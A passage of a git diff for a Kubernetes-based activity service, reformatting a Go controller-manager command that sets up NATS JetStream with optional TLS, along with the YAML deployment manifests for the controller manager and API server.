NATSURL: options.NATSURL, - NATSTLSEnabled: options.NATSTLSEnabled, - NATSTLSCertFile: options.NATSTLSCertFile, - NATSTLSKeyFile: options.NATSTLSKeyFile, - NATSTLSCAFile: options.NATSTLSCAFile, - } - - // Initialize NATS JetStream connection - klog.Info("Initializing NATS JetStream connection") - - var natsOpts []nats.Option - - // Configure TLS if enabled - if options.NATSTLSEnabled { - tlsConfig := &tls.Config{ - MinVersion: tls.VersionTLS12, - } - - // Load client cert/key if provided - if options.NATSTLSCertFile != "" && options.NATSTLSKeyFile != "" { - cert, err := tls.LoadX509KeyPair(options.NATSTLSCertFile, options.NATSTLSKeyFile) - if err != nil { - return fmt.Errorf("failed to load NATS TLS client cert: %w", err) - } - tlsConfig.Certificates = []tls.Certificate{cert} - } - - // Load CA cert if provided - if options.NATSTLSCAFile != "" { - caCert, err := os.ReadFile(options.NATSTLSCAFile) - if err != nil { - return fmt.Errorf("failed to read NATS TLS CA file: %w", err) - } - caCertPool := x509.NewCertPool() - if !caCertPool.AppendCertsFromPEM(caCert) { - return fmt.Errorf("failed to parse NATS TLS CA certificate") - } - tlsConfig.RootCAs = caCertPool - } - - natsOpts = append(natsOpts, nats.Secure(tlsConfig)) - } - - natsConn, err := nats.Connect(options.NATSURL, natsOpts...) - if err != nil { - return fmt.Errorf("failed to connect to NATS: %w", err) - } - - js, err := natsConn.JetStream() - if err != nil { - natsConn.Close() - return fmt.Errorf("failed to get JetStream context: %w", err) - } - managerOpts.JetStream = js - klog.Info("NATS JetStream initialized", "url", options.NATSURL) - - // Create the controller manager - mgr, err := controller.NewManager(config, managerOpts) - if err != nil { - return err - } - - // Use controller-runtime's signal handler for graceful shutdown - ctx := ctrl.SetupSignalHandler() - - // Run the controller manager - runErr := controller.Run(ctx, mgr) - - // Clean up NATS connection on shutdown - klog.Info("Closing NATS connection") - natsConn.Close() - - if runErr != nil { - return runErr - } - - klog.Info("Controller manager shutdown complete") - return nil -} - -// parseNamespacedName parses a string in the format "namespace/name" into its components. -func parseNamespacedName(s string) (namespace, name string, err error) { - parts := strings.SplitN(s, "/", 2) - if len(parts) != 2 { - return "", "", fmt.Errorf("expected format 'namespace/name', got %q", s) - } - if parts[0] == "" || parts[1] == "" { - return "", "", fmt.Errorf("namespace and name cannot be empty in %q", s) - } - return parts[0], parts[1], nil -} +package main + +import ( + "context" + "crypto/tls" + "crypto/x509" + "fmt" + "os" + "strings" + + "github.com/nats-io/nats.go" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + corev1 "k8s.io/api/core/v1" + utilfeature "k8s.io/apiserver/pkg/util/feature" + "k8s.io/client-go/rest" + "k8s.io/client-go/tools/clientcmd" + logsapi "k8s.io/component-base/logs/api/v1" + "k8s.io/klog/v2" + ctrl "sigs.k8s.io/controller-runtime" + "sigs.k8s.io/controller-runtime/pkg/client" + + "go.miloapis.com/activity/internal/controller" +) + +// ControllerManagerOptions contains configuration for the controller manager. +type ControllerManagerOptions struct { + Kubeconfig string + JobKubeconfig string + MasterURL string + Workers int + MetricsAddr string + HealthProbeAddr string + + // NATS configuration (required) + NATSURL string + NATSTLSEnabled bool + NATSTLSCertFile string + NATSTLSKeyFile string + NATSTLSCAFile string + + // ReindexJob configuration + ReindexJobNamespace string + ReindexServiceAccount string + ReindexMemoryLimit string + ReindexCPULimit string + MaxConcurrentReindexJobs int + ActivityImage string + + // JobTemplateConfigMap specifies the ConfigMap containing the Job template. + // Format: namespace/name. If not set, a default template is used. + JobTemplateConfigMap string + + Logs *logsapi.LoggingConfiguration +} + +// NewControllerManagerOptions creates options with default values. +func NewControllerManagerOptions() *ControllerManagerOptions { + return &ControllerManagerOptions{ + Logs: logsapi.NewLoggingConfiguration(), + Workers: 2, + MetricsAddr: ":8080", + HealthProbeAddr: ":8081", + ReindexJobNamespace: "activity-system", + ReindexServiceAccount: "activity-reindex-worker", + ReindexMemoryLimit: "2Gi", + ReindexCPULimit: "1000m", + MaxConcurrentReindexJobs: 1, + ActivityImage: "ghcr.io/datum-cloud/activity:latest", + } +} + +// AddFlags adds controller manager flags to the command. +func (o *ControllerManagerOptions) AddFlags(fs *pflag.FlagSet) { + fs.StringVar(&o.Kubeconfig, "kubeconfig", o.Kubeconfig, + "Path to a kubeconfig file for Milo API server. Only required if out-of-cluster.") + fs.StringVar(&o.JobKubeconfig, "job-kubeconfig", o.JobKubeconfig, + "Path to a kubeconfig file for infrastructure cluster where Jobs run. If not set, uses --kubeconfig or in-cluster config.") + fs.StringVar(&o.MasterURL, "master", o.MasterURL, + "The address of the Kubernetes API server. Overrides any value in kubeconfig.") + fs.IntVar(&o.Workers, "workers", o.Workers, + "Number of worker threads for the controller.") + fs.StringVar(&o.MetricsAddr, "metrics-addr", o.MetricsAddr, + "The address to bind the metrics endpoint.") + fs.StringVar(&o.HealthProbeAddr, "health-probe-addr", o.HealthProbeAddr, + "The address to bind the health probe endpoint.") + + // NATS flags (required) + fs.StringVar(&o.NATSURL, "nats-url", o.NATSURL, + "NATS server URL (e.g., nats://localhost:4222). Required.") + fs.BoolVar(&o.NATSTLSEnabled, "nats-tls-enabled", o.NATSTLSEnabled, + "Enable TLS for NATS connection.") + fs.StringVar(&o.NATSTLSCertFile, "nats-tls-cert-file", o.NATSTLSCertFile, + "Path to client certificate file for NATS TLS.") + fs.StringVar(&o.NATSTLSKeyFile, "nats-tls-key-file", o.NATSTLSKeyFile, + "Path to client private key file for NATS TLS.") + fs.StringVar(&o.NATSTLSCAFile, "nats-tls-ca-file", o.NATSTLSCAFile, + "Path to CA certificate file for NATS TLS.") + + // ReindexJob flags + fs.StringVar(&o.ReindexJobNamespace, "reindex-job-namespace", o.ReindexJobNamespace, + "Namespace where ReindexJob worker Jobs are created.") + fs.StringVar(&o.ReindexServiceAccount, "reindex-service-account", o.ReindexServiceAccount, + "ServiceAccount for ReindexJob worker pods.") + fs.StringVar(&o.ReindexMemoryLimit, "reindex-memory-limit", o.ReindexMemoryLimit, + "Memory limit for ReindexJob worker pods (e.g., 2Gi).") + fs.StringVar(&o.ReindexCPULimit, "reindex-cpu-limit", o.ReindexCPULimit, + "CPU limit for ReindexJob worker pods (e.g., 1000m).") + fs.IntVar(&o.MaxConcurrentReindexJobs, "max-concurrent-reindex-jobs", o.MaxConcurrentReindexJobs, + "Maximum number of concurrent ReindexJobs allowed.") + fs.StringVar(&o.ActivityImage, "activity-image", o.ActivityImage, + "Container image for activity binary used by ReindexJob workers.") + fs.StringVar(&o.JobTemplateConfigMap, "reindex-job-template-configmap", o.JobTemplateConfigMap, + "ConfigMap containing the Job template for reindex workers (format: namespace/name). "+ + "The ConfigMap should have a 'template.yaml' key with a PodTemplateSpec. "+ + "If not set, a default template is used.") + + logsapi.AddFlags(o.Logs, fs) +} + +// NewControllerManagerCommand creates the controller-manager subcommand. +func NewControllerManagerCommand() *cobra.Command { + options := NewControllerManagerOptions() + + cmd := &cobra.Command{ + Use: "controller-manager", + Short: "Run the controller manager", + Long: `Run the controller manager that watches for changes to Activity resources +and reconciles the desired state. This includes managing ActivityPolicy resources +and ensuring consistent state across the cluster.`, + RunE: func(cmd *cobra.Command, args []string) error { + if err := logsapi.ValidateAndApply(options.Logs, utilfeature.DefaultMutableFeatureGate); err != nil { + return fmt.Errorf("failed to apply logging configuration: %w", err) + } + ctrl.SetLogger(klog.NewKlogr()) + return RunControllerManager(options) + }, + } + + options.AddFlags(cmd.Flags()) + + return cmd +} + +// RunControllerManager starts the controller manager. +func RunControllerManager(options *ControllerManagerOptions) error { + // Validate required flags + if options.NATSURL == "" { + return fmt.Errorf("--nats-url is required") + } + + klog.Info("Starting Activity Controller Manager") + + // Build the client configuration for Milo API server (ReindexJob, ActivityPolicy) + var config *rest.Config + var err error + + if options.Kubeconfig != "" { + config, err = clientcmd.BuildConfigFromFlags(options.MasterURL, options.Kubeconfig) + } else { + config, err = rest.InClusterConfig() + } + if err != nil { + return fmt.Errorf("failed to build config for Milo API server: %w", err) + } + + // Build the client configuration for infrastructure cluster (Jobs) + // Priority: --job-kubeconfig > in-cluster config > same as main config + var jobConfig *rest.Config + if options.JobKubeconfig != "" { + // Use explicit kubeconfig for Job operations + jobConfig, err = clientcmd.BuildConfigFromFlags("", options.JobKubeconfig) + if err != nil { + return fmt.Errorf("failed to build config from --job-kubeconfig: %w", err) + } + klog.Info("Using explicit kubeconfig for Job operations", "path", options.JobKubeconfig) + } else if inClusterConfig, inClusterErr := rest.InClusterConfig(); inClusterErr == nil { + // Running in a cluster - use in-cluster config for Jobs + // This allows the controller to create Jobs in the infrastructure cluster + // while connecting to Milo for ReindexJob CRs + jobConfig = inClusterConfig + klog.Info("Using in-cluster config for Job operations") + } else { + // Not in a cluster and no --job-kubeconfig - use same config as main client + // This is the typical dev environment scenario + jobConfig = config + klog.Info("Using same kubeconfig for Job operations (dev mode)") + } + + // Create a client for Job operations + jobClient, err := client.New(jobConfig, client.Options{ + Scheme: controller.Scheme, + }) + if err != nil { + return fmt.Errorf("failed to create Job client: %w", err) + } + + // Load Job template from ConfigMap if specified + var jobTemplate *corev1.PodTemplateSpec + if options.JobTemplateConfigMap != "" { + namespace, name, parseErr := parseNamespacedName(options.JobTemplateConfigMap) + if parseErr != nil { + return fmt.Errorf("invalid --reindex-job-template-configmap value: %w", parseErr) + } + + ctx := context.Background() + jobTemplate, err = controller.LoadJobTemplate(ctx, jobClient, namespace, name) + if err != nil { + return fmt.Errorf("failed to load job template: %w", err) + } + klog.Info("Loaded job template from ConfigMap", "namespace", namespace, "name", name) + } + + managerOpts := controller.ManagerOptions{ + Workers: options.Workers, + MetricsAddr: options.MetricsAddr, + HealthProbeAddr: options.HealthProbeAddr, + JobClient: jobClient, + ReindexJobNamespace: options.ReindexJobNamespace, + ReindexServiceAccount: options.ReindexServiceAccount, + ReindexMemoryLimit: options.ReindexMemoryLimit, + ReindexCPULimit: options.ReindexCPULimit, + MaxConcurrentReindexJobs: options.MaxConcurrentReindexJobs, + ActivityImage: options.ActivityImage, + JobTemplate: jobTemplate, + NATSURL: options.NATSURL, + NATSTLSEnabled: options.NATSTLSEnabled, + NATSTLSCertFile: options.NATSTLSCertFile, + NATSTLSKeyFile: options.NATSTLSKeyFile, + NATSTLSCAFile: options.NATSTLSCAFile, + } + + // Initialize NATS JetStream connection + klog.Info("Initializing NATS JetStream connection") + + var natsOpts []nats.Option + + // Configure TLS if enabled + if options.NATSTLSEnabled { + tlsConfig := &tls.Config{ + MinVersion: tls.VersionTLS12, + } + + // Load client cert/key if provided + if options.NATSTLSCertFile != "" && options.NATSTLSKeyFile != "" { + cert, err := tls.LoadX509KeyPair(options.NATSTLSCertFile, options.NATSTLSKeyFile) + if err != nil { + return fmt.Errorf("failed to load NATS TLS client cert: %w", err) + } + tlsConfig.Certificates = []tls.Certificate{cert} + } + + // Load CA cert if provided + if options.NATSTLSCAFile != "" { + caCert, err := os.ReadFile(options.NATSTLSCAFile) + if err != nil { + return fmt.Errorf("failed to read NATS TLS CA file: %w", err) + } + caCertPool := x509.NewCertPool() + if !caCertPool.AppendCertsFromPEM(caCert) { + return fmt.Errorf("failed to parse NATS TLS CA certificate") + } + tlsConfig.RootCAs = caCertPool + } + + natsOpts = append(natsOpts, nats.Secure(tlsConfig)) + } + + natsConn, err := nats.Connect(options.NATSURL, natsOpts...) + if err != nil { + return fmt.Errorf("failed to connect to NATS: %w", err) + } + + js, err := natsConn.JetStream() + if err != nil { + natsConn.Close() + return fmt.Errorf("failed to get JetStream context: %w", err) + } + managerOpts.JetStream = js + klog.Info("NATS JetStream initialized", "url", options.NATSURL) + + // Create the controller manager + mgr, err := controller.NewManager(config, managerOpts) + if err != nil { + return err + } + + // Use controller-runtime's signal handler for graceful shutdown + ctx := ctrl.SetupSignalHandler() + + // Run the controller manager + runErr := controller.Run(ctx, mgr) + + // Clean up NATS connection on shutdown + klog.Info("Closing NATS connection") + natsConn.Close() + + if runErr != nil { + return runErr + } + + klog.Info("Controller manager shutdown complete") + return nil +} + +// parseNamespacedName parses a string in the format "namespace/name" into its components. +func parseNamespacedName(s string) (namespace, name string, err error) { + parts := strings.SplitN(s, "/", 2) + if len(parts) != 2 { + return "", "", fmt.Errorf("expected format 'namespace/name', got %q", s) + } + if parts[0] == "" || parts[1] == "" { + return "", "", fmt.Errorf("namespace and name cannot be empty in %q", s) + } + return parts[0], parts[1], nil +} diff --git a/config/base/controller-manager.yaml b/config/base/controller-manager.yaml index 68654e97..5b6382b9 100644 --- a/config/base/controller-manager.yaml +++ b/config/base/controller-manager.yaml @@ -1,170 +1,170 @@ -apiVersion: v1 -kind: ServiceAccount -metadata: - name: activity-controller-manager - namespace: activity-system ---- -# ClusterRole is auto-generated from kubebuilder annotations -# See: config/base/generated/controller-manager-rbac.yaml -# Run: task generate:rbac -apiVersion: rbac.authorization.k8s.io/v1 -kind: ClusterRoleBinding -metadata: - name: activity-controller-manager -roleRef: - apiGroup: rbac.authorization.k8s.io - kind: ClusterRole - name: activity-controller-manager -subjects: -- kind: ServiceAccount - name: activity-controller-manager - namespace: activity-system ---- -apiVersion: apps/v1 -kind: Deployment -metadata: - name: activity-controller-manager - namespace: activity-system -spec: - replicas: 1 - selector: - matchLabels: - app: activity-controller-manager - template: - metadata: - labels: - app: activity-controller-manager - spec: - serviceAccountName: activity-controller-manager - securityContext: - runAsNonRoot: true - runAsUser: 65532 - runAsGroup: 65532 - fsGroup: 65532 - seccompProfile: - type: RuntimeDefault - containers: - - name: manager - image: ghcr.io/datum-cloud/activity:latest - imagePullPolicy: IfNotPresent - securityContext: - allowPrivilegeEscalation: false - readOnlyRootFilesystem: true - runAsNonRoot: true - runAsUser: 65532 - capabilities: - drop: - - ALL - ports: - - containerPort: 8080 - name: metrics - protocol: TCP - - containerPort: 8081 - name: health - protocol: TCP - command: - - /activity - - controller-manager - args: - - --kubeconfig=$(KUBECONFIG) - - --workers=$(WORKERS) - - --metrics-addr=$(METRICS_ADDR) - - --health-probe-addr=$(HEALTH_PROBE_ADDR) - - --nats-url=$(NATS_URL) - - --nats-tls-enabled=$(NATS_TLS_ENABLED) - - --nats-tls-cert-file=$(NATS_TLS_CERT_FILE) - - --nats-tls-key-file=$(NATS_TLS_KEY_FILE) - - --nats-tls-ca-file=$(NATS_TLS_CA_FILE) - - --reindex-job-namespace=$(REINDEX_JOB_NAMESPACE) - - --reindex-service-account=$(REINDEX_SERVICE_ACCOUNT) - - --reindex-memory-limit=$(REINDEX_MEMORY_LIMIT) - - --reindex-cpu-limit=$(REINDEX_CPU_LIMIT) - - --max-concurrent-reindex-jobs=$(MAX_CONCURRENT_REINDEX_JOBS) - - --activity-image=$(ACTIVITY_IMAGE) - - --reindex-job-template-configmap=$(REINDEX_JOB_TEMPLATE_CONFIGMAP) - - -v=$(LOG_LEVEL) - - --logging-format=$(LOGGING_FORMAT) - env: - - name: KUBECONFIG - value: "" - - name: WORKERS - value: "2" - - name: METRICS_ADDR - value: ":8080" - - name: HEALTH_PROBE_ADDR - value: ":8081" - - name: NATS_URL - value: "nats://nats.nats-system.svc.cluster.local:4222" - - name: NATS_TLS_ENABLED - value: "false" - - name: NATS_TLS_CERT_FILE - value: "" - - name: NATS_TLS_KEY_FILE - value: "" - - name: NATS_TLS_CA_FILE - value: "" - - name: LOG_LEVEL - value: "2" - - name: LOGGING_FORMAT - value: "json" - - name: ACTIVITY_IMAGE - value: "PLACEHOLDER" # Replaced by kustomize to match deployed image - - name: REINDEX_JOB_NAMESPACE - value: "activity-system" - - name: REINDEX_SERVICE_ACCOUNT - value: "activity-reindex-worker" - - name: REINDEX_MEMORY_LIMIT - value: "2Gi" - - name: REINDEX_CPU_LIMIT - value: "1000m" - - name: MAX_CONCURRENT_REINDEX_JOBS - value: "1" - - name: REINDEX_JOB_TEMPLATE_CONFIGMAP - value: "" # Optional: namespace/name of ConfigMap containing job template - - name: CLICKHOUSE_ADDRESS - valueFrom: - secretKeyRef: - name: clickhouse-credentials - key: address - - name: CLICKHOUSE_DATABASE - valueFrom: - secretKeyRef: - name: clickhouse-credentials - key: database - - name: CLICKHOUSE_USERNAME - valueFrom: - secretKeyRef: - name: clickhouse-credentials - key: username - - name: CLICKHOUSE_PASSWORD - valueFrom: - secretKeyRef: - name: clickhouse-credentials - key: password - resources: - requests: - cpu: 50m - memory: 64Mi - limits: - cpu: 200m - memory: 256Mi - livenessProbe: - httpGet: - path: /healthz - port: health - scheme: HTTP - initialDelaySeconds: 15 - periodSeconds: 20 - readinessProbe: - httpGet: - path: /readyz - port: health - scheme: HTTP - initialDelaySeconds: 5 - periodSeconds: 10 - volumeMounts: - - name: tmp - mountPath: /tmp - volumes: - - name: tmp - emptyDir: {} +apiVersion: v1 +kind: ServiceAccount +metadata: + name: activity-controller-manager + namespace: activity-system +--- +# ClusterRole is auto-generated from kubebuilder annotations +# See: config/base/generated/controller-manager-rbac.yaml +# Run: task generate:rbac +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: activity-controller-manager +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: activity-controller-manager +subjects: +- kind: ServiceAccount + name: activity-controller-manager + namespace: activity-system +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: activity-controller-manager + namespace: activity-system +spec: + replicas: 1 + selector: + matchLabels: + app: activity-controller-manager + template: + metadata: + labels: + app: activity-controller-manager + spec: + serviceAccountName: activity-controller-manager + securityContext: + runAsNonRoot: true + runAsUser: 65532 + runAsGroup: 65532 + fsGroup: 65532 + seccompProfile: + type: RuntimeDefault + containers: + - name: manager + image: ghcr.io/datum-cloud/activity:latest + imagePullPolicy: IfNotPresent + securityContext: + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + runAsNonRoot: true + runAsUser: 65532 + capabilities: + drop: + - ALL + ports: + - containerPort: 8080 + name: metrics + protocol: TCP + - containerPort: 8081 + name: health + protocol: TCP + command: + - /activity + - controller-manager + args: + - --kubeconfig=$(KUBECONFIG) + - --workers=$(WORKERS) + - --metrics-addr=$(METRICS_ADDR) + - --health-probe-addr=$(HEALTH_PROBE_ADDR) + - --nats-url=$(NATS_URL) + - --nats-tls-enabled=$(NATS_TLS_ENABLED) + - --nats-tls-cert-file=$(NATS_TLS_CERT_FILE) + - --nats-tls-key-file=$(NATS_TLS_KEY_FILE) + - --nats-tls-ca-file=$(NATS_TLS_CA_FILE) + - --reindex-job-namespace=$(REINDEX_JOB_NAMESPACE) + - --reindex-service-account=$(REINDEX_SERVICE_ACCOUNT) + - --reindex-memory-limit=$(REINDEX_MEMORY_LIMIT) + - --reindex-cpu-limit=$(REINDEX_CPU_LIMIT) + - --max-concurrent-reindex-jobs=$(MAX_CONCURRENT_REINDEX_JOBS) + - --activity-image=$(ACTIVITY_IMAGE) + - --reindex-job-template-configmap=$(REINDEX_JOB_TEMPLATE_CONFIGMAP) + - -v=$(LOG_LEVEL) + - --logging-format=$(LOGGING_FORMAT) + env: + - name: KUBECONFIG + value: "" + - name: WORKERS + value: "2" + - name: METRICS_ADDR + value: ":8080" + - name: HEALTH_PROBE_ADDR + value: ":8081" + - name: NATS_URL + value: "nats://nats.nats-system.svc.cluster.local:4222" + - name: NATS_TLS_ENABLED + value: "false" + - name: NATS_TLS_CERT_FILE + value: "" + - name: NATS_TLS_KEY_FILE + value: "" + - name: NATS_TLS_CA_FILE + value: "" + - name: LOG_LEVEL + value: "2" + - name: LOGGING_FORMAT + value: "json" + - name: ACTIVITY_IMAGE + value: "PLACEHOLDER" # Replaced by kustomize to match deployed image + - name: REINDEX_JOB_NAMESPACE + value: "activity-system" + - name: REINDEX_SERVICE_ACCOUNT + value: "activity-reindex-worker" + - name: REINDEX_MEMORY_LIMIT + value: "2Gi" + - name: REINDEX_CPU_LIMIT + value: "1000m" + - name: MAX_CONCURRENT_REINDEX_JOBS + value: "1" + - name: REINDEX_JOB_TEMPLATE_CONFIGMAP + value: "" # Optional: namespace/name of ConfigMap containing job template + - name: CLICKHOUSE_ADDRESS + valueFrom: + secretKeyRef: + name: clickhouse-credentials + key: address + - name: CLICKHOUSE_DATABASE + valueFrom: + secretKeyRef: + name: clickhouse-credentials + key: database + - name: CLICKHOUSE_USERNAME + valueFrom: + secretKeyRef: + name: clickhouse-credentials + key: username + - name: CLICKHOUSE_PASSWORD + valueFrom: + secretKeyRef: + name: clickhouse-credentials + key: password + resources: + requests: + cpu: 50m + memory: 64Mi + limits: + cpu: 200m + memory: 256Mi + livenessProbe: + httpGet: + path: /healthz + port: health + scheme: HTTP + initialDelaySeconds: 15 + periodSeconds: 20 + readinessProbe: + httpGet: + path: /readyz + port: health + scheme: HTTP + initialDelaySeconds: 5 + periodSeconds: 10 + volumeMounts: + - name: tmp + mountPath: /tmp + volumes: + - name: tmp + emptyDir: {} diff --git a/config/base/deployment.yaml b/config/base/deployment.yaml index 24fb2c12..7a921aea 100644 --- a/config/base/deployment.yaml +++ b/config/base/deployment.yaml @@ -1,231 +1,231 @@ -apiVersion: apps/v1 -kind: Deployment -metadata: - name: activity-apiserver - namespace: activity-system -spec: - replicas: 1 - selector: - matchLabels: - app: activity-apiserver - template: - metadata: - labels: - app: activity-apiserver - spec: - serviceAccountName: activity-apiserver - securityContext: - runAsNonRoot: true - runAsUser: 65532 - runAsGroup: 65532 - fsGroup: 65532 - seccompProfile: - type: RuntimeDefault - containers: - - name: apiserver - image: ghcr.io/datum-cloud/activity:latest - imagePullPolicy: IfNotPresent - securityContext: - allowPrivilegeEscalation: false - readOnlyRootFilesystem: true - runAsNonRoot: true - runAsUser: 65532 - capabilities: - drop: - - ALL - ports: - - containerPort: 8443 - name: https - protocol: TCP - command: - - /activity - - serve - args: - - --secure-port=$(SECURE_PORT) - - --tls-cert-file=$(TLS_CERT_FILE) - - --tls-private-key-file=$(TLS_PRIVATE_KEY_FILE) - - --clickhouse-address=$(CLICKHOUSE_ADDRESS) - - --clickhouse-database=$(CLICKHOUSE_DATABASE) - - --clickhouse-username=$(CLICKHOUSE_USERNAME) - - --clickhouse-password=$(CLICKHOUSE_PASSWORD) - - --clickhouse-tls-enabled=$(CLICKHOUSE_TLS_ENABLED) - - --clickhouse-tls-cert-file=$(CLICKHOUSE_TLS_CERT_FILE) - - --clickhouse-tls-key-file=$(CLICKHOUSE_TLS_KEY_FILE) - - --clickhouse-tls-ca-file=$(CLICKHOUSE_TLS_CA_FILE) - - --kubeconfig=$(KUBECONFIG) - - --authentication-kubeconfig=$(AUTHENTICATION_KUBECONFIG) - - --authentication-skip-lookup=$(AUTHENTICATION_SKIP_LOOKUP) - - --authentication-tolerate-lookup-failure=$(AUTHENTICATION_TOLERATE_LOOKUP_FAILURE) - - --authorization-kubeconfig=$(AUTHORIZATION_KUBECONFIG) - - --authorization-always-allow-paths=$(AUTHORIZATION_ALWAYS_ALLOW_PATHS) - - --requestheader-client-ca-file=$(REQUESTHEADER_CLIENT_CA_FILE) - - --requestheader-username-headers=$(REQUESTHEADER_USERNAME_HEADERS) - - --requestheader-group-headers=$(REQUESTHEADER_GROUP_HEADERS) - - --requestheader-uid-headers=$(REQUESTHEADER_UID_HEADERS) - - --requestheader-extra-headers-prefix=$(REQUESTHEADER_EXTRA_HEADERS_PREFIX) - - --logging-format=$(LOGGING_FORMAT) - - --tracing-config-file=$(TRACING_CONFIG_FILE) - - --etcd-servers=$(ETCD_SERVERS) - - --etcd-prefix=$(ETCD_PREFIX) - - --etcd-cafile=$(ETCD_CAFILE) - - --etcd-certfile=$(ETCD_CERTFILE) - - --etcd-keyfile=$(ETCD_KEYFILE) - - --activities-nats-url=$(ACTIVITIES_NATS_URL) - - --activities-nats-stream=$(ACTIVITIES_NATS_STREAM) - - --activities-nats-subject-prefix=$(ACTIVITIES_NATS_SUBJECT_PREFIX) - - --activities-nats-tls-enabled=$(ACTIVITIES_NATS_TLS_ENABLED) - - --activities-nats-tls-cert-file=$(ACTIVITIES_NATS_TLS_CERT_FILE) - - --activities-nats-tls-key-file=$(ACTIVITIES_NATS_TLS_KEY_FILE) - - --activities-nats-tls-ca-file=$(ACTIVITIES_NATS_TLS_CA_FILE) - - --events-nats-url=$(EVENTS_NATS_URL) - - --events-nats-stream=$(EVENTS_NATS_STREAM) - - --events-nats-subject-prefix=$(EVENTS_NATS_SUBJECT_PREFIX) - - --events-nats-tls-enabled=$(EVENTS_NATS_TLS_ENABLED) - - --events-nats-tls-cert-file=$(EVENTS_NATS_TLS_CERT_FILE) - - --events-nats-tls-key-file=$(EVENTS_NATS_TLS_KEY_FILE) - - --events-nats-tls-ca-file=$(EVENTS_NATS_TLS_CA_FILE) - - -v=$(LOG_LEVEL) - env: - - name: SECURE_PORT - value: "8443" - - name: TLS_CERT_FILE - value: "/var/run/activity-apiserver/tls/tls.crt" - - name: TLS_PRIVATE_KEY_FILE - value: "/var/run/activity-apiserver/tls/tls.key" - - name: KUBECONFIG - value: "" - - name: AUTHENTICATION_KUBECONFIG - value: "" - - name: AUTHENTICATION_SKIP_LOOKUP - value: "false" - - name: AUTHENTICATION_TOLERATE_LOOKUP_FAILURE - value: "false" - - name: AUTHORIZATION_KUBECONFIG - value: "" - - name: AUTHORIZATION_ALWAYS_ALLOW_PATHS - value: "/healthz,/readyz,/livez" - - name: REQUESTHEADER_CLIENT_CA_FILE - value: "" - - name: REQUESTHEADER_USERNAME_HEADERS - value: "X-Remote-User" - - name: REQUESTHEADER_GROUP_HEADERS - value: "X-Remote-Group" - - name: REQUESTHEADER_UID_HEADERS - value: "X-Remote-Uid" - - name: REQUESTHEADER_EXTRA_HEADERS_PREFIX - value: "X-Remote-Extra-" - - name: LOGGING_FORMAT - value: "json" - - name: LOG_LEVEL - value: "4" - - name: TRACING_CONFIG_FILE - value: "" - - name: CLICKHOUSE_ADDRESS - value: "clickhouse.activity-system.svc.cluster.local:9000" - - name: CLICKHOUSE_DATABASE - value: "audit" - - name: CLICKHOUSE_USERNAME - value: "default" - - name: CLICKHOUSE_PASSWORD - valueFrom: - secretKeyRef: - name: clickhouse-credentials - key: password - optional: true - - name: CLICKHOUSE_TLS_ENABLED - value: "false" - - name: CLICKHOUSE_TLS_CERT_FILE - value: "" - - name: CLICKHOUSE_TLS_KEY_FILE - value: "" - - name: CLICKHOUSE_TLS_CA_FILE - value: "" - - name: ETCD_SERVERS - value: "http://etcd.activity-system.svc.cluster.local:2379" - - name: ETCD_PREFIX - value: "/registry/activity.miloapis.com" - - name: ETCD_CAFILE - value: "" - - name: ETCD_CERTFILE - value: "" - - name: ETCD_KEYFILE - value: "" - # NATS configuration for Activities Watch API (empty = Watch API disabled) - - name: ACTIVITIES_NATS_URL - value: "" - - name: ACTIVITIES_NATS_STREAM - value: "ACTIVITIES" - - name: ACTIVITIES_NATS_SUBJECT_PREFIX - value: "activities" - - name: ACTIVITIES_NATS_TLS_ENABLED - value: "false" - - name: ACTIVITIES_NATS_TLS_CERT_FILE - value: "" - - name: ACTIVITIES_NATS_TLS_KEY_FILE - value: "" - - name: ACTIVITIES_NATS_TLS_CA_FILE - value: "" - # NATS configuration for Events Watch API (empty = Watch API disabled) - - name: EVENTS_NATS_URL - value: "" - - name: EVENTS_NATS_STREAM - value: "EVENTS" - - name: EVENTS_NATS_SUBJECT_PREFIX - value: "events" - - name: EVENTS_NATS_TLS_ENABLED - value: "false" - - name: EVENTS_NATS_TLS_CERT_FILE - value: "" - - name: EVENTS_NATS_TLS_KEY_FILE - value: "" - - name: EVENTS_NATS_TLS_CA_FILE - value: "" - resources: - requests: - cpu: 250m - memory: 128Mi - limits: - cpu: "1" - memory: 512Mi - livenessProbe: - httpGet: - path: /healthz - port: https - scheme: HTTPS - initialDelaySeconds: 15 - periodSeconds: 20 - readinessProbe: - httpGet: - path: /readyz - port: https - scheme: HTTPS - initialDelaySeconds: 5 - periodSeconds: 10 - volumeMounts: - - name: tls-certs - mountPath: /var/run/activity-apiserver/tls - readOnly: true - - name: control-plane-ca - mountPath: /etc/kubernetes/pki/requestheader - readOnly: true - - name: tmp - mountPath: /tmp - volumes: - - name: tls-certs - csi: - driver: csi.cert-manager.io - readOnly: true - volumeAttributes: - csi.cert-manager.io/issuer-name: selfsigned-cluster-issuer - csi.cert-manager.io/issuer-kind: ClusterIssuer - csi.cert-manager.io/common-name: activity-apiserver.activity-system.svc - csi.cert-manager.io/dns-names: "activity-apiserver,activity-apiserver.activity-system,activity-apiserver.activity-system.svc,activity-apiserver.activity-system.svc.cluster.local" - csi.cert-manager.io/duration: "8760h" - csi.cert-manager.io/renew-before: "720h" - csi.cert-manager.io/fs-group: "65532" - - name: control-plane-ca - configMap: - name: control-plane-ca - optional: true - - name: tmp - emptyDir: {} +apiVersion: apps/v1 +kind: Deployment +metadata: + name: activity-apiserver + namespace: activity-system +spec: + replicas: 1 + selector: + matchLabels: + app: activity-apiserver + template: + metadata: + labels: + app: activity-apiserver + spec: + serviceAccountName: activity-apiserver + securityContext: + runAsNonRoot: true + runAsUser: 65532 + runAsGroup: 65532 + fsGroup: 65532 + seccompProfile: + type: RuntimeDefault + containers: + - name: apiserver + image: ghcr.io/datum-cloud/activity:latest + imagePullPolicy: IfNotPresent + securityContext: + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + runAsNonRoot: true + runAsUser: 65532 + capabilities: + drop: + - ALL + ports: + - containerPort: 8443 + name: https + protocol: TCP + command: + - /activity + - serve + args: + - --secure-port=$(SECURE_PORT) + - --tls-cert-file=$(TLS_CERT_FILE) + - --tls-private-key-file=$(TLS_PRIVATE_KEY_FILE) + - --clickhouse-address=$(CLICKHOUSE_ADDRESS) + - --clickhouse-database=$(CLICKHOUSE_DATABASE) + - --clickhouse-username=$(CLICKHOUSE_USERNAME) + - --clickhouse-password=$(CLICKHOUSE_PASSWORD) 